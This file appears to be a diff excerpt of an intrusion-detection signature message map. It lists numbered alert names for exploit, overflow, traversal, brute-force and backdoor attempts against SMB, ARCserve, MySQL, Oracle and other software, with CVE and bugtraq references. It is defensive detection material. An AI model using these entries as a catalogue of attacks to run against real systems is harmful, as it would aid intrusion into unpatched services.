+3405 || NETBIOS SMB-DS ISystemActivator andx bind attempt
+3406 || NETBIOS SMB-DS ISystemActivator little endian andx bind attempt
+3407 || NETBIOS SMB-DS ISystemActivator unicode andx bind attempt
+3408 || NETBIOS SMB-DS ISystemActivator unicode little endian andx bind attempt
+3409 || NETBIOS SMB RemoteActivation attempt
+3410 || NETBIOS SMB RemoteActivation little endian attempt
+3411 || NETBIOS SMB RemoteActivation unicode attempt
+3412 || NETBIOS SMB RemoteActivation unicode little endian attempt
+3413 || NETBIOS SMB RemoteActivation andx attempt
+3414 || NETBIOS SMB RemoteActivation little endian andx attempt
+3415 || NETBIOS SMB RemoteActivation unicode andx attempt
+3416 || NETBIOS SMB RemoteActivation unicode little endian andx attempt
+3417 || NETBIOS SMB-DS RemoteActivation attempt
+3418 || NETBIOS SMB-DS RemoteActivation little endian attempt
+3419 || NETBIOS SMB-DS RemoteActivation unicode attempt
+3420 || NETBIOS SMB-DS RemoteActivation unicode little endian attempt
+3421 || NETBIOS SMB-DS RemoteActivation andx attempt
+3422 || NETBIOS SMB-DS RemoteActivation little endian andx attempt
+3423 || NETBIOS SMB-DS RemoteActivation unicode andx attempt
+3424 || NETBIOS SMB-DS RemoteActivation unicode little endian andx attempt
+3425 || NETBIOS SMB CoGetInstanceFromFile attempt
+3426 || NETBIOS SMB CoGetInstanceFromFile little endian attempt
+3427 || NETBIOS SMB CoGetInstanceFromFile unicode attempt
+3428 || NETBIOS SMB CoGetInstanceFromFile unicode little endian attempt
+3429 || NETBIOS SMB CoGetInstanceFromFile andx attempt
+3430 || NETBIOS SMB CoGetInstanceFromFile little endian andx attempt
+3431 || NETBIOS SMB CoGetInstanceFromFile unicode andx attempt
+3432 || NETBIOS SMB CoGetInstanceFromFile unicode little endian andx attempt
+3433 || NETBIOS SMB-DS CoGetInstanceFromFile attempt
+3434 || NETBIOS SMB-DS CoGetInstanceFromFile little endian attempt
+3435 || NETBIOS SMB-DS CoGetInstanceFromFile unicode attempt
+3436 || NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian attempt
+3437 || NETBIOS SMB-DS CoGetInstanceFromFile andx attempt
+3438 || NETBIOS SMB-DS CoGetInstanceFromFile little endian andx attempt
+3439 || NETBIOS SMB-DS CoGetInstanceFromFile unicode andx attempt
+3440 || NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian andx attempt
+3441 || FTP PORT bounce attempt
+3442 || DOS WIN32 TCP print service denial of service attempt || bugtraq,1082 || cve,2000-0232 || url,www.microsoft.com/technet/security/bulletin/MS00-021.mspx
+3443 || MS-SQL DNS query with 1 requests
+3444 || MS-SQL DNS query with 2 requests
+3445 || MS-SQL DNS query with 3 requests
+3446 || MS-SQL DNS query with 4 requests
+3447 || MS-SQL DNS query with 5 requests
+3448 || MS-SQL DNS query with 6 requests
+3449 || MS-SQL DNS query with 7 requests
+3450 || MS-SQL DNS query with 8 requests
+3451 || MS-SQL DNS query with 9 requests
+3452 || MS-SQL DNS query with 10 requests
+3453 || MISC Arkeia client backup system info probe || bugtraq,12594
+3454 || MISC Arkeia client backup generic info probe || bugtraq,12594
+3455 || EXPLOIT Bontago Game Server Nickname Buffer Overflow || bugtraq,12603 || url,aluigi.altervista.org/adv/bontagobof-adv.txt
+3456 || MYSQL 4.0 root login attempt
+3457 || EXPLOIT Arkeia backup client type 77 overflow attempt || bugtraq,12594
+3458 || EXPLOIT Arkeia backup client type 84 overflow attempt || bugtraq,12594
+3459 || P2P Manolito Search Query || url,openlito.sourceforge.net || url,www.blubster.com
+3460 || FTP REST with numeric argument || bugtraq,7825
+3461 || SMTP Content-Type overflow attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+3462 || SMTP Content-Encoding overflow attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+3463 || WEB-CGI awstats access || bugtraq,12572
+3464 || WEB-CGI awstats.pl command execution attempt || bugtraq,12572
+3465 || WEB-CGI RiSearch show.pl proxy attempt || bugtraq,10812
+3466 || WEB-MISC Authorization Basic overflow attempt || bugtraq,8375 || cve,2003-0727
+3467 || WEB-MISC CISCO VoIP Portinformation access || bugtraq,4798 || cve,2002-0882
+3468 || WEB-CGI math_sum.mscgi access || bugtraq,10831 || nessus,14182
+3469 || WEB-CGI Ipswitch WhatsUp Gold dos attempt || bugtraq,11110 || cve,2004-0799 || url,www.idefense.com/application/poi/display?id=142&type=vulnerabilities || url,www.ipswitch.com/Support/WhatsUp/patch-upgrades.html || url,www.secunia.com/advisories/12578/
+3470 || WEB-CLIENT RealPlayer VIDORV30 header length buffer overflow || bugtraq,11309 || url,www.eeye.com/html/research/advisories/AD20041001.html
+3471 || WEB-CLIENT iTunes playlist URL overflow attempt || bugtraq,12238 || cve,2005-0043
+3472 || EXPLOIT ARCserve discovery service overflow || bugtraq,12491 || can,2005-0260
+3473 || WEB-CLIENT RealPlayer SMIL file overflow attempt || bugtraq,12698 || cve,2005-0455
+3474 || EXPLOIT ARCserve backup TCP slot info msg client name overflow || bugtraq,12563
+3475 || EXPLOIT ARCserve backup TCP slot info msg client domain overflow || bugtraq,12563
+3476 || EXPLOIT ARCserve backup TCP product info msg 0x9b client domain overflow || bugtraq,12563
+3477 || EXPLOIT ARCserve backup TCP product info msg 0x9b client name overflow || bugtraq,12563
+3478 || EXPLOIT ARCserve backup TCP product info msg 0x9c client domain overflow || bugtraq,12563
+3479 || EXPLOIT ARCserve backup TCP product info msg 0x9c client name overflow || bugtraq,12563
+3480 || EXPLOIT ARCserve backup UDP slot info msg client name overflow || bugtraq,12563
+3481 || EXPLOIT ARCserve backup UDP slot info msg client domain overflow || bugtraq,12563
+3482 || EXPLOIT ARCserve backup UDP product info msg 0x9b client name overflow || bugtraq,12563
+3483 || EXPLOIT ARCserve backup UDP product info msg 0x9b client domain overflow || bugtraq,12563
+3484 || EXPLOIT ARCserve backup UDP product info msg 0x9c client name overflow || bugtraq,12563
+3485 || EXPLOIT ARCserve backup UDP product info msg 0x9c client domain overflow || bugtraq,12563
+3486 || WEB-MISC SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+3487 || IMAP SSLv2 Client_Hello request
+3488 || IMAP SSLv2 Client_Hello with pad request
+3489 || IMAP TLSv1 Client_Hello request
+3490 || IMAP TLSv1 Client_Hello via SSLv2 handshake request
+3491 || IMAP SSLv2 Server_Hello request
+3492 || IMAP TLSv1 Server_Hello request
+3493 || SMTP SSLv2 Client_Hello request
+3494 || SMTP SSLv2 Client_Hello with pad request
+3495 || SMTP TLSv1 Client_Hello request
+3496 || SMTP TLSv1 Client_Hello via SSLv2 handshake request
+3497 || SMTP SSLv2 Server_Hello request
+3498 || SMTP TLSv1 Server_Hello request
+3499 || POP3 SSLv2 Client_Hello request
+3500 || POP3 SSLv2 Client_Hello with pad request
+3501 || POP3 TLSv1 Client_Hello request
+3502 || POP3 TLSv1 Client_Hello via SSLv2 handshake request
+3503 || POP3 SSLv2 Server_Hello request
+3504 || POP3 TLSv1 Server_Hello request
+3505 || POP3 SSLv2 Client_Hello request
+3506 || POP3 SSLv2 Client_Hello with pad request
+3507 || POP3 TLSv1 Client_Hello request
+3508 || POP3 TLSv1 Client_Hello via SSLv2 handshake request
+3509 || POP3 SSLv2 Server_Hello request
+3510 || POP3 TLSv1 Server_Hello request
+3511 || SMTP PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+3512 || ORACLE utl_file.fcopy directory traversal attempt || bugtraq,12749
+3513 || ORACLE utl_file.fopen_nchar directory traversal attempt || bugtraq,12749
+3514 || ORACLE utl_file.fopen directory traversal attempt || bugtraq,12749
+3515 || ORACLE utl_file.fremove directory traversal attempt || bugtraq,12749
+3516 || ORACLE utl_file.frename directory traversal attempt || bugtraq,12749
+3517 || EXPLOIT Computer Associates license PUTOLF overflow attempt || bugtraq,12705 || cve,2005-0581
+3518 || WEB-MISC MySQL MaxDB WebSQL wppassword buffer overflow || bugtraq,12265
+3519 || WEB-MISC MySQL MaxDB WebSQL wppassword buffer overflow default port || bugtraq,12265
+3520 || EXPLOIT Computer Associates license GCR NETWORK overflow attempt || bugtraq,12705 || cve,2005-0581
+3521 || EXPLOIT Computer Associates license GCR CHECKSUMS overflow attempt || bugtraq,12705 || cve,2005-0581
+3522 || EXPLOIT Computer Associates license GETCONFIG server overflow attempt || bugtraq,12705 || cve,2005-0581
+3523 || FTP SITE INDEX format string attempt
+3524 || EXPLOIT Computer Associates license invalid GCR CHECKSUMS attempt || bugtraq,12705 || cve,2005-0581
+3525 || EXPLOIT Computer Associates license invalid GCR NETWORK attempt || bugtraq,12705 || cve,2005-0581
+3526 || ORACLE XDB FTP UNLOCK overflow attempt || bugtraq,8375 || cve,2003-0727
+3527 || EXPLOIT Solaris LPD overflow attempt || bugtraq,3274
+3528 || MYSQL CREATE FUNCTION attempt || bugtraq,12781 || cve,2005-0709
+3529 || EXPLOIT Computer Associates license GETCONFIG client overflow attempt || bugtraq,12705 || cve,2005-0581
+3530 || EXPLOIT ARCserve backup UDP msg 0x99 client name overflow || bugtraq,12563
+3531 || EXPLOIT ARCserve backup UDP msg 0x99 client domain overflow || bugtraq,12563
+3532 || FTP ORACLE password buffer overflow attempt || bugtraq,8375
+3533 || TELNET client LINEMODE SLC overflow attempt || bugtraq,12918 || cve,2005-0469
+3534 || WEB-CLIENT Mozilla GIF heap overflow || bugtraq,12881 || cve,2005-0399
+3535 || WEB-CLIENT GIF transfer
+3536 || WEB-CLIENT Mozilla GIF multipacket heap overflow || bugtraq,12881 || cve,2005-0399
+3537 || TELNET client ENV OPT escape overflow attempt || bugtraq,12918 || cve,2005-0469
+3538 || EXPLOIT RADIUS registration MSID overflow attempt || bugtraq,12759 || cve,2005-0699
+3539 || EXPLOIT RADIUS MSID overflow attempt || bugtraq,12759 || cve,2005-0699
+3540 || EXPLOIT RADIUS registration vendor ATTR_TYPE_STR overflow attempt || bugtraq,12759 || cve,2005-0699
+3541 || EXPLOIT RADIUS ATTR_TYPE_STR overflow attempt || bugtraq,12759 || cve,2005-0699
+3542 || MS-SQL SA brute force login attempt || cve,2000-1209 || nessus,10673
+3543 || MS-SQL SA brute force login attempt TDS v7/8 || cve,2000-1209 || nessus,10673
+3544 || WEB-MISC TrackerCam ComGetLogFile.php3 directory traversal attempt || bugtraq,12592 || cve,2005-0481
+3545 || WEB-MISC TrackerCam ComGetLogFile.php3 log information disclosure || bugtraq,12592 || cve,2005-0481
+3546 || WEB-MISC TrackerCam User-Agent buffer overflow attempt || bugtraq,12592 || cve,2005-0481
+3547 || WEB-MISC TrackerCam overly long php parameter overflow attempt || bugtraq,12592 || cve,2005-0481
+3548 || WEB-MISC TrackerCam negative Content-Length attempt || bugtraq,12592 || cve,2005-0481
+3549 || WEB-CLIENT HTML DOM invalid element creation attempt || cve,2005-0553
+3550 || WEB-CLIENT HTML http scheme hostname overflow attempt || cve,2005-0553
+3551 || WEB-CLIENT .hta download attempt
+3552 || WEB-CLIENT OLE32 MSHTA masquerade attempt || cve,2005-0063
+3553 || WEB-CLIENT HTML DOM null element insertion attempt || cve,2005-0553
+3554 || NETBIOS DCERPC-DIRECT mqqm bind attempt
+3555 || NETBIOS DCERPC-DIRECT mqqm little endian bind attempt
+3556 || NETBIOS DCERPC mqqm bind attempt
+3557 || NETBIOS DCERPC mqqm little endian bind attempt
+3558 || NETBIOS SMB mqqm WriteAndX andx bind attempt
+3559 || NETBIOS SMB mqqm WriteAndX bind attempt
+3560 || NETBIOS SMB mqqm WriteAndX little endian andx bind attempt
+3561 || NETBIOS SMB mqqm WriteAndX little endian bind attempt
+3562 || NETBIOS SMB mqqm WriteAndX unicode andx bind attempt
+3563 || NETBIOS SMB mqqm WriteAndX unicode bind attempt
+3564 || NETBIOS SMB mqqm WriteAndX unicode little endian andx bind attempt
+3565 || NETBIOS SMB mqqm WriteAndX unicode little endian bind attempt
+3566 || NETBIOS SMB mqqm andx bind attempt
+3567 || NETBIOS SMB mqqm bind attempt
+3568 || NETBIOS SMB mqqm little endian andx bind attempt
+3569 || NETBIOS SMB mqqm little endian bind attempt
+3570 || NETBIOS SMB mqqm unicode andx bind attempt
+3571 || NETBIOS SMB mqqm unicode bind attempt
+3572 || NETBIOS SMB mqqm unicode little endian andx bind attempt
+3573 || NETBIOS SMB mqqm unicode little endian bind attempt
+3574 || NETBIOS SMB-DS mqqm WriteAndX andx bind attempt
+3575 || NETBIOS SMB-DS mqqm WriteAndX bind attempt
+3576 || NETBIOS SMB-DS mqqm WriteAndX little endian andx bind attempt
+3577 || NETBIOS SMB-DS mqqm WriteAndX little endian bind attempt
+3578 || NETBIOS SMB-DS mqqm WriteAndX unicode andx bind attempt
+3579 || NETBIOS SMB-DS mqqm WriteAndX unicode bind attempt
+3580 || NETBIOS SMB-DS mqqm WriteAndX unicode little endian andx bind attempt
+3581 || NETBIOS SMB-DS mqqm WriteAndX unicode little endian bind attempt
+3582 || NETBIOS SMB-DS mqqm andx bind attempt
+3583 || NETBIOS SMB-DS mqqm bind attempt
+3584 || NETBIOS SMB-DS mqqm little endian andx bind attempt
+3585 || NETBIOS SMB-DS mqqm little endian bind attempt
+3586 || NETBIOS SMB-DS mqqm unicode andx bind attempt
+3587 || NETBIOS SMB-DS mqqm unicode bind attempt
+3588 || NETBIOS SMB-DS mqqm unicode little endian andx bind attempt
+3589 || NETBIOS SMB-DS mqqm unicode little endian bind attempt
+3590 || NETBIOS DCERPC-DIRECT mqqm QMDeleteObject little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3591 || NETBIOS DCERPC-DIRECT mqqm QMDeleteObject overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3592 || NETBIOS DCERPC mqqm QMDeleteObject little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3593 || NETBIOS DCERPC mqqm QMDeleteObject overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3594 || NETBIOS SMB mqqm QMDeleteObject WriteAndX andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3595 || NETBIOS SMB mqqm QMDeleteObject WriteAndX little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3596 || NETBIOS SMB mqqm QMDeleteObject WriteAndX little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3597 || NETBIOS SMB mqqm QMDeleteObject WriteAndX overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3598 || NETBIOS SMB mqqm QMDeleteObject WriteAndX unicode andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3599 || NETBIOS SMB mqqm QMDeleteObject WriteAndX unicode little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3600 || NETBIOS SMB mqqm QMDeleteObject WriteAndX unicode little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3601 || NETBIOS SMB mqqm QMDeleteObject WriteAndX unicode overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3602 || NETBIOS SMB mqqm QMDeleteObject andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3603 || NETBIOS SMB mqqm QMDeleteObject little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3604 || NETBIOS SMB mqqm QMDeleteObject little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3605 || NETBIOS SMB mqqm QMDeleteObject overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3606 || NETBIOS SMB mqqm QMDeleteObject unicode andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3607 || NETBIOS SMB mqqm QMDeleteObject unicode little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3608 || NETBIOS SMB mqqm QMDeleteObject unicode little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3609 || NETBIOS SMB mqqm QMDeleteObject unicode overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3610 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3611 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3612 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3613 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3614 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX unicode andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3615 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX unicode little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3616 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX unicode little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3617 || NETBIOS SMB-DS mqqm QMDeleteObject WriteAndX unicode overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3618 || NETBIOS SMB-DS mqqm QMDeleteObject andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3619 || NETBIOS SMB-DS mqqm QMDeleteObject little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3620 || NETBIOS SMB-DS mqqm QMDeleteObject little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3621 || NETBIOS SMB-DS mqqm QMDeleteObject overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3622 || NETBIOS SMB-DS mqqm QMDeleteObject unicode andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3623 || NETBIOS SMB-DS mqqm QMDeleteObject unicode little endian andx overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3624 || NETBIOS SMB-DS mqqm QMDeleteObject unicode little endian overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3625 || NETBIOS SMB-DS mqqm QMDeleteObject unicode overflow attempt || cve,2005-0059 || url,www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
+3626 || ICMP PATH MTU denial of service || cve,2004-1060
+3627 || POLICY X-LINK2STATE CHUNK attempt || url,www.microsoft.com/technet/security/bulletin/MS05-021.mspx
+3628 || POLICY IDA Pro startup license check attempt
+3629 || WEB-MISC sambar /search/results.stm access || bugtraq,7975
+3630 || FTP ORACLE TEST command buffer overflow attempt || bugtraq,8375
+3631 || FTP ORACLE user name buffer overflow attempt || bugtraq,8375
+3632 || WEB-CLIENT Mozilla bitmap width integer overflow attempt || bugtraq,11171 || cve,2004-0904 || url,bugzilla.mozilla.org/show_bug.cgi?id=255067
+3633 || WEB-CLIENT bitmap transfer
+3634 || WEB-CLIENT Mozilla bitmap width integer overflow multipacket attempt || bugtraq,11171 || cve,2004-0904 || url,bugzilla.mozilla.org/show_bug.cgi?id=255067
+3635 || BACKDOOR Amanda 2.0 connection established
+3636 || BACKDOOR Crazzy Net 5.0 connection established
+3637 || EXPLOIT Computer Associates license PUTOLF directory traversal attempt || bugtraq,12705 || cve,2005-0581
+3638 || WEB-CGI SoftCart.exe CGI buffer overflow attempt || bugtraq,10926
+3639 || NETBIOS SMB Trans andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3640 || NETBIOS SMB Trans data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3641 || NETBIOS SMB Trans unicode data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3642 || NETBIOS SMB Trans unicode andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3643 || NETBIOS SMB-DS Trans andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3644 || NETBIOS SMB-DS Trans data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3645 || NETBIOS SMB-DS Trans unicode data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3646 || NETBIOS SMB-DS Trans unicode andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3647 || NETBIOS-DG SMB Trans andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3648 || NETBIOS-DG SMB Trans data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3649 || NETBIOS-DG SMB Trans unicode data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3650 || NETBIOS-DG SMB Trans unicode andx data displacement null pointer DOS attempt || bugtraq,13504 || url,www.ethereal.com/news/item_20050504_01.html
+3651 || EXPLOIT CVS rsh annotate revision overflow attempt || bugtraq,13217 || cve,2005-0753 || url,ccvs.cvshome.org/servlets/NewsItemView?newsItemID=141 || url,ccvs.cvshome.org/servlets/NewsItemView?newsItemID=142
+3652 || EXPLOIT CVS pserver annotate revision overflow attempt || bugtraq,13217 || cve,2005-0753 || url,ccvs.cvshome.org/servlets/NewsItemView?newsItemID=141 || url,ccvs.cvshome.org/servlets/NewsItemView?newsItemID=142
+3653 || SMTP SAML overflow attempt || bugtraq,11238
+3654 || SMTP SOML overflow attempt || bugtraq,11238
+3655 || SMTP SEND overflow attempt || bugtraq,11238
+3656 || SMTP MAIL overflow attempt || bugtraq,11238
+3657 || ORACLE ctxsys.driload attempt || bugtraq,11099 || cve,2004-0637
+3658 || EXPLOIT ARCserve backup universal agent option 1000 little endian buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3659 || EXPLOIT ARCserve backup universal agent option 1000 buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3660 || EXPLOIT ARCserve backup universal agent option 00 little endian buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3661 || EXPLOIT ARCserve backup universal agent option 00 buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3662 || EXPLOIT ARCserve backup universal agent option 03 little endian buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3663 || EXPLOIT ARCserve backup universal agent option 03 buffer overflow attempt || bugtraq,13102 || cve,2005-1018
+3664 || EXPLOIT PPTP echo request buffer overflow attempt || bugtaq,7316 || cve,2003-0213
+3665 || MYSQL server greeting || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3666 || MYSQL server greeting finished || bugtraq,10655 || www.nextgenss.com/advisories/mysql-authbypass.txt,
+3667 || MYSQL protocol 41 client authentication bypass attempt || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3668 || MYSQL client authentication bypass attempt || bugtraq,10655 || www.nextgenss.com/advisories/mysql-authbypass.txt,
+3669 || MYSQL protocol 41 secure client overflow attempt || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3670 || MYSQL secure client overflow attempt || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3671 || MYSQL protocol 41 client overflow attempt || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3672 || MYSQL client overflow attempt || bugtraq,10655 || url,www.nextgenss.com/advisories/mysql-authbypass.txt
+3673 || MISC Microsoft SMS remote control client DoS overly long length attempt || bugtraq,10726 || cve,2004-0728
+3674 || WEB-CGI db4web_c directory traversal attempt || bugtraq,5723 || cve,2002-1483 || nessus,11182
+3675 || MISC IBM DB2 DTS empty format string dos attempt || bugtraq,11400 || url,www-1.ibm.com/support/docview.wss?uid=swg1IY61781
+3676 || WEB-MISC newsscript.pl admin attempt || bugtraq,12761
+3677 || EXPLOIT SIP UDP CSeq overflow attempt || url,www.ethereal.com/news/item_20050504_01.html
+3678 || EXPLOIT SIP TCP CSeq overflow attempt || url,www.ethereal.com/news/item_20050504_01.html
+3679 || WEB-CLIENT Firefox IFRAME src javascript code execution || bugtraq,13544 || cve,2005-1476
+3680 || P2P AOL Instant Messenger Message Send
+3681 || P2P AOL Instant Messenger Message Receive
+3682 || SMTP spoofed MIME-Type auto-execution attempt || bugtraq,2524 || cve,2001-0154 || url,www.microsoft.com/technet/security/bulletin/MS01-020.mspx
+3683 || WEB-CLIENT spoofed MIME-Type auto-execution attempt || bugtraq,2524 || cve,2001-0154 || url,www.microsoft.com/technet/security/bulletin/MS01-020.mspx
+3684 || WEB-CLIENT Bitmap Transfer
+3685 || WEB-CLIENT bitmap BitmapOffset multipacket integer overflow attempt || bugtraq,9663 || cve,2004-0566
+3686 || WEB-CLIENT Internet Explorer Content Advisor attempted overflow || bugtraq,13117 || cve,2005-0555
+3687 || TELNET client ENV OPT USERVAR information disclosure || cve,2005-1205 || url,www.microsoft.com/technet/Security/bulletin/ms05-033.mspx
+3688 || TELNET client ENV OPT VAR information disclosure || cve,2005-1205 || url,www.microsoft.com/technet/Security/bulletin/ms05-033.mspx
+3689 || WEB-CLIENT Internet Explorer tRNS overflow attempt || bugtraq,13941 || cve,2005-1211 || url,www.microsoft.com/technet/security/bulletin/MS05-025.mspx
+3690 || WEB-CGI Nucleus CMS action.php itemid SQL injection || bugtraq,10798 || nessus,14194
+3691 || CHAT Yahoo Messenger Message
+3692 || CHAT Yahoo Messenger File Transfer Initiation Request
+3693 || WEB-MISC IBM WebSphere j_security_check overflow attempt || bugtraq,13853
+3694 || WEB-MISC Squid content length cache poisoning attempt || bugtraq,12412 || cve,2005-0174
+3695 || EXPLOIT Veritas Backup Agent password overflow attempt || cve,2005-0773
+3696 || EXPLOIT Veritas Backup Agent DoS attempt || bugtraq,14201 || cve,2005-0772
+3697 || NETBIOS DCERPC DIRECT veritas alter context attempt
+3698 || NETBIOS DCERPC DIRECT veritas bind attempt
+3699 || NETBIOS DCERPC DIRECT veritas little endian alter context attempt
+3700 || NETBIOS DCERPC DIRECT veritas little endian bind attempt
+3701 || NETBIOS DCERPC NCACN-IP-TCP veritas alter context attempt
+3702 || NETBIOS DCERPC NCACN-IP-TCP veritas bind attempt
+3703 || NETBIOS DCERPC NCACN-IP-TCP veritas little endian alter context attempt
+3704 || NETBIOS DCERPC NCACN-IP-TCP veritas little endian bind attempt
+3705 || NETBIOS SMB veritas WriteAndX alter context attempt
+3706 || NETBIOS SMB veritas WriteAndX andx alter context attempt
+3707 || NETBIOS SMB veritas WriteAndX andx bind attempt
+3708 || NETBIOS SMB veritas WriteAndX bind attempt
+3709 || NETBIOS SMB veritas WriteAndX little endian alter context attempt
+3710 || NETBIOS SMB veritas WriteAndX little endian andx alter context attempt
+3711 || NETBIOS SMB veritas WriteAndX little endian andx bind attempt
+3712 || NETBIOS SMB veritas WriteAndX little endian bind attempt
+3713 || NETBIOS SMB veritas WriteAndX unicode alter context attempt
+3714 || NETBIOS SMB veritas WriteAndX unicode andx alter context attempt
+3715 || NETBIOS SMB veritas WriteAndX unicode andx bind attempt
+3716 || NETBIOS SMB veritas WriteAndX unicode bind attempt
+3717 || NETBIOS SMB veritas WriteAndX unicode little endian alter context attempt
+3718 || NETBIOS SMB veritas WriteAndX unicode little endian andx alter context attempt
+3719 || NETBIOS SMB veritas WriteAndX unicode little endian andx bind attempt
+3720 || NETBIOS SMB veritas WriteAndX unicode little endian bind attempt
+3721 || NETBIOS SMB veritas alter context attempt
+3722 || NETBIOS SMB veritas andx alter context attempt
+3723 || NETBIOS SMB veritas andx bind attempt
+3724 || NETBIOS SMB veritas bind attempt
+3725 || NETBIOS SMB veritas little endian alter context attempt
+3726 || NETBIOS SMB veritas little endian andx alter context attempt
+3727 || NETBIOS SMB veritas little endian andx bind attempt
+3728 || NETBIOS SMB veritas little endian bind attempt
+3729 || NETBIOS SMB veritas unicode alter context attempt
+3730 || NETBIOS SMB veritas unicode andx alter context attempt
+3731 || NETBIOS SMB veritas unicode andx bind attempt
+3732 || NETBIOS SMB veritas unicode bind attempt
+3733 || NETBIOS SMB veritas unicode little endian alter context attempt
+3734 || NETBIOS SMB veritas unicode little endian andx alter context attempt
+3735 || NETBIOS SMB veritas unicode little endian andx bind attempt
+3736 || NETBIOS SMB veritas unicode little endian bind attempt
+3737 || NETBIOS SMB-DS veritas WriteAndX alter context attempt
